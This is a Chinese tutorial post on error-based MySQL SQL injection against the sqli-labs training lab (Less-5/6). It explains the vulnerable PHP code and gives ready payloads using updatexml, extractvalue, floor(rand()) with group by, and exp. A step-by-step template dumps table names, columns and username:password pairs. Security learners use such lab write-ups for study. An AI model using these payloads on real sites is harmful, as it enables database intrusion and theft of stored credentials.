2026-07-03
Mysql注入
00
请注意,本文编写于 134 天前,最后修改于 110 天前,其中某些信息可能已经过时。

目录

先区分两种"报错注入"
一、源码整体结构
二、报错函数详解
2.1 updatexml()
2.2 extractvalue() —— 和 updatexml 几乎一样
2.3 floor()
整个语句的骨架
核心炸弹:concat(database(), floor(rand(0)*2))
引爆机制:group by 与临时表主键
重复冲突是怎么发生的?
为什么用 select 1 from (...) a
一句话总结
2.4 exp() —— 数值溢出报错
2.5 报错函数对比表
三、常见报错信息含义
四、有回显 vs 无回显:Payload 对比
五、updatexml 长度限制问题
六、Less-5/6 快速通关模板
七、记忆口诀

报错函数注入(无回显位场景)、常见报错信息含义


先区分两种"报错注入"

Less-1/2 按照注入手法可以说是有回显位报错注入,页面能把查询结果显示出来,用 union select 就能拿到数据。

还有一种情况:页面没有回显位,只显示 "You are in..." 或者不显示具体内容,这时候就要用报错函数把数据"挤"在错误信息里返回。

图片.png

类型代表关卡页面特征手法
联合查询+回显Less-1/2/3/4/11显示用户名密码union select
报错函数(无回显)Less-5/6/13/14只显示固定文字或报错updatexml() / extractvalue() / floor()

一、源码整体结构

用户输入 id → 拼接到 SQL → 执行查询 → 查到数据?→ 是:只显示 "You are in..." → 否:显示 MySQL 报错信息

核心特征:查到数据时不显示具体内容,只显示固定文字;查不到时才显示报错。

php
error_reporting(0);

第3行:关闭 PHP 错误报告。这意味着 PHP 自己的报错不会显示,但 MySQL 的报错还会显示(后面看 mysql_error())。

php
// take the variables if(isset($_GET['id'])) { $id=$_GET['id'];

第5-7行:从 URL 获取 id 参数,直接赋值给 $id,没有任何过滤。

php
// connectivity $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

第14行:核心漏洞! 和 Less-1 一样,$id 被单引号包裹,直接拼接进 SQL。

php
$result=mysql_query($sql); $row = mysql_fetch_array($result);

第15-16行:执行 SQL,获取结果。

php
if($row) { echo '<font size="5" color="#FFFF00">'; echo 'You are in...........'; echo "<br>"; echo "</font>"; }

第18-23行:查到数据时,只显示 You are in...........,不显示用户名密码!

php
else { echo '<font size="3" color="#FFFF00">'; print_r(mysql_error()); echo "</br></font>"; echo '<font color= "#0000ff" font size= 3>'; }

第25-31行:查不到数据时,调用 mysql_error() 打印 MySQL 错误信息! 这就是报错注入的入口:


二、报错函数详解

2.1 updatexml()

MySQL 函数原型:

sql
updatexml(XML_document, XPath_string, new_value)

正常用途:修改 XML 文档中某个节点的值

注入用法:让第二个参数(XPath)包含非法字符(如 ~),触发 XPath 语法错误,错误信息里就会包含我们拼接的数据。

Payload 模板:

sql
?id=1' and updatexml(1, concat(0x7e, (SELECT 要查的数据), 0x7e), 1) --+

拆解:

部分含义
1第一个参数,随便写
concat(0x7e, ..., 0x7e)0x7e 是 ~ 的十六进制,~ 在 XPath 中是非法字符
(SELECT 要查的数据)子查询,把数据查出来
1第三个参数,随便写

实际效果:

XPATH syntax error: '~security~'

数据库名 security 就藏在报错信息里返回了。

Less-5 完整流程:

sql
-- 爆库名 ?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1) --+ -- 爆表名(有长度限制 32 字符,超长的用 substr 分段) ?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) --+ -- 如果显示不全,分段取 ?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,31),0x7e),1) --+ ?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),32,31),0x7e),1) --+ -- 爆字段 ?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1) --+ -- 爆数据 ?id=1' and updatexml(1,concat(0x7e,(select group_concat(username,':',password) from users),0x7e),1) --+

2.2 extractvalue() —— 和 updatexml 几乎一样

函数原型:

sql
extractvalue(XML_document, XPath_string)

原理:同样利用 XPath 语法错误

Payload:

sql
?id=1' and extractvalue(1, concat(0x7e, database(), 0x7e)) --+

XPath 非法字符

字符十六进制效果
~0x7e最常用,肉眼好辨认
!0x21可以
#0x23可以
$0x24可以

图片.png

效果:和 updatexml 一模一样,只是少一个参数。


2.3 floor()

原理:利用 rand() 随机数 + group by 分组 + count(*) 计数,制造"主键重复"错误。

Payload:

sql
?id=1' and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a) --+

拆解:

部分作用
rand(0)*2生成 0 或 1 的伪随机数(种子固定,结果可预测)
floor(rand(0)*2)取整,得到 0 或 1
concat(database(), floor(...))把库名和 0/1 拼接
group by x按拼接结果分组
count(*)计数
select 1 from (...)a把结果当成一个表,起别名 a

为什么报错? rand() 在 group by 执行过程中会被计算多次,导致同一个键值被插入两次,触发 Duplicate entry 错误。

提示

整个语句的骨架

sql
?id=1' and (select 1 from ( ... ) a) --+
  • ?id=1' 闭合前面的单引号。
  • and (select 1 from (...) a) 这是一个布尔条件,and 后面的东西需要被执行。这里用了一个子查询,我们并不关心 select 1 的查询结果,只关心它在执行过程中会不会报错。
  • --+ 注释掉后面的多余字符(等同于 -- )。

真正的戏法在中间那个子查询里。


核心炸弹:concat(database(), floor(rand(0)*2))

https://blog.csdn.net/miraclehw/article/details/129250360

把两部分拼起来:

  1. database() —— 你当前所在的数据库名字,比如 security。
  2. floor(rand(0)*2) —— 一个固定的随机数序列,只会产生 0 1之间的数字。

于是 concat 拼出的字符串就类似:

security0 security1 security1 security0 ...

引爆机制:group by 与临时表主键

完整子查询:

sql
select count(*), concat(database(), floor(rand(0)*2)) as x from information_schema.tables group by x

information_schema.tables 是 MySQL 自带的系统表,里面有很多行,我们只是拿它当“计数器”,利用它有很多行数据来触发计算。

group by x 会根据 x 的值进行分组,它在背后会创建一个临时表,临时表的主键就是 x(分组字段)。

关键点:在往临时表插入分组值时,rand() 会被重复计算,导致同一个 x 值被尝试插入两次。


重复冲突是怎么发生的?

假设 concat(database(), floor(rand(0)*2)) 中 database() = security,floor(rand(0)*2) 的固定序列是 0, 1, 1, 0, 1...

步骤动作第几次 rand计算结果虚拟表里有吗?实际操作
第1条抬头查 key第1次security0❌ 没有决定插入
插入写 key第2次security1—写入 security1
第2条抬头查 key第3次security1✅ 有!count+1,不插入
第3条抬头查 key第4次security0❌ 没有决定插入
插入写 key第5次security1✅ 已有!💥 报错!

报错信息:

Duplicate entry 'security1' for key '<group_key>'

security 就是数据库名,从报错里读出来了。


为什么用 select 1 from (...) a

外层的 select 1 只是为了给子查询包一层壳,让它成为一个合法的标量子查询,可以被 and 执行。其实你也可以写成:

sql
and (select count(*) from (...) a)

效果一样,只要子查询被执行,炸弹就会引爆,错误就会显示在页面上。


一句话总结

这个注入语句就是:
把数据库名和固定随机数粘在一起,利用 group by 临时表主键的特性和 rand() 的多次计算,故意制造“主键重复”错误,让报错信息里带上数据库名。

报错效果:

Duplicate entry 'security1' for key 'group_key'

2.4 exp() —— 数值溢出报错

MySQL > 5.5.53 之后,exp() 报错注入在命令行里还能用,但在 Web 应用/PHP 环境下可能不显示具体值

原理:exp() 计算 e 的 x 次方,当 x 太大时数值溢出报错。

Payload:

sql
?id=1' and exp(~(select * from (select database())a)) --+

拆解:

部分作用
~按位取反,把正数变成极大负数
exp(极大负数)理论上趋近于 0,但 MySQL 内部处理时溢出
select * from (select database())a子查询,把数据包一层

效果:

DOUBLE value is out of range in 'exp(~((select 'security' from dual)))'

2.5 报错函数对比表

函数参数个数原理长度限制适用场景
updatexml()3XPath 语法错误32 字符最常用,首选
extractvalue()2XPath 语法错误32 字符和 updatexml 等价
floor()复杂主键重复无数据很长时分段不方便时
exp()1数值溢出无绕过某些过滤

三、常见报错信息含义

报错信息出现场景深层含义怎么解决
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1输入 ' 后单引号没闭合,后面空了。near '' 指多余的那个引号后面啥也没有加 --+ 注释掉后面
You have an error in your SQL syntax ... near '1'' LIMIT 0,1'输入 1' 后字符型注入,1' 闭合了前面的引号,但后面还有一个多余的 '确认字符型,加注释
Unknown column '4' in 'order clause'order by 4表只有 3 列,你按第 4 列排序不存在用二分法(1,2,4,8...)确定列数
The used SELECT statements have a different number of columnsunion select 列数不对Union 前后两张表列数不一致order by 确定正确列数后再 union
Operand should contain 1 column(s)子查询返回多列用 = 比较时右边子查询返回了多列子查询只查一列,或用 limit 0,1
Subquery returns more than 1 row子查询返回多行用 = 比较时右边有多条结果加 limit 0,1 或改用 group_concat()
XPATH syntax error: '~xxx~'updatexml / extractvalue正常报错注入结果,数据在 ~ 之间提取 ~ 之间的数据
Duplicate entry 'xxx' for key 'group_key'floor() 报错正常报错注入结果,数据在单引号里提取单引号里的数据
DOUBLE value is out of rangeexp() 报错正常报错注入结果,数据在报错信息里提取数据

四、有回显 vs 无回显:Payload 对比

假设要查数据库名 security:

场景手法Payload结果在哪
有回显位(Less-1)Union?id=-1' union select 1,database(),3 --+页面正常显示
无回显位(Less-5)updatexml?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1) --+报错信息里
无回显位(Less-5)floor?id=1' and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a) --+报错信息里

核心区别:有回显用 union select 直接显示,无回显用报错函数"借尸还魂"把数据藏在错误里。


五、updatexml 长度限制问题

updatexml 和 extractvalue 的返回结果最多 32 个字符,如果数据太长会截断。

解决方案:

sql
-- 方法1:substr 分段取 ?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,31),0x7e),1) --+ ?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),32,31),0x7e),1) --+ ?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),63,31),0x7e),1) --+ -- 方法2:用 mid() 函数(和 substr 一样) ?id=1' and updatexml(1,concat(0x7e,mid((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,31),0x7e),1) --+ -- 方法3:换 floor() 或 exp()(无长度限制)

六、Less-5/6 快速通关模板

sql
-- Step 1: 确认注入点 ?id=1' --+ → 页面显示 "You are in..." → 字符型 ?id=1" --+ → 页面显示 "You are in..." → 双引号字符型(Less-6) -- Step 2: 爆库名 ?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1) --+ -- Step 3: 爆表名 ?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) --+ -- Step 4: 爆字段 ?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1) --+ -- Step 5: 爆数据 ?id=1' and updatexml(1,concat(0x7e,(select group_concat(username,':',password) from users),0x7e),1) --+

七、记忆口诀

有回显:union select 直接看 无回显:报错函数来帮忙 updatexml:三参数,中间 XPath 放数据 extractvalue:两参数,和上面一样 floor:rand + group by,主键重复报错忙 长度超了怎么办:substr 分段慢慢查